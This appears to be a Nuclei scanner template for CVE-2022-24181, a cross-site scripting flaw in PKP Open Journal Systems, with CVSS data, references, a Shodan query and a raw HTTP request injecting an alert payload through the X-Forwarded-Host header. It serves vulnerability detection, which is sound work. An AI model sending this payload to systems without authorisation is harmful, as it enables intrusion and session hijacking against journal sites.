id: CVE-2022-24181 info: name: PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting author: lucasljm2001,ekrause severity: medium description: | PKP Open Journal Systems 2.4.8 to 3.3 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary code via the X-Forwarded-Host Header. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. remediation: | Upgrade to a patched version of PKP Open Journal Systems (OJS) or apply the necessary security patches provided by the vendor. reference: - https://www.exploit-db.com/exploits/50881 - https://github.com/pkp/pkp-lib/issues/7649 - https://youtu.be/v8-9evO2oVg - https://nvd.nist.gov/vuln/detail/cve-2022-24181 - https://github.com/comrade99/CVE-2022-24181 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-24181 cwe-id: CWE-79 epss-score: 0.0017 epss-percentile: 0.53018 cpe: cpe:2.3:a:public_knowledge_project:open_journal_systems:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: public_knowledge_project product: open_journal_systems shodan-query: cpe:"cpe:2.3:a:public_knowledge_project:open_journal_systems" tags: cve,cve2022,xss,oss,pkp-lib,edb,public_knowledge_project http: - raw: - | GET /iupjournals/index.php/esj HTTP/2 Host: {{Hostname}} X-Forwarded-Host: foo">alert(document.domain)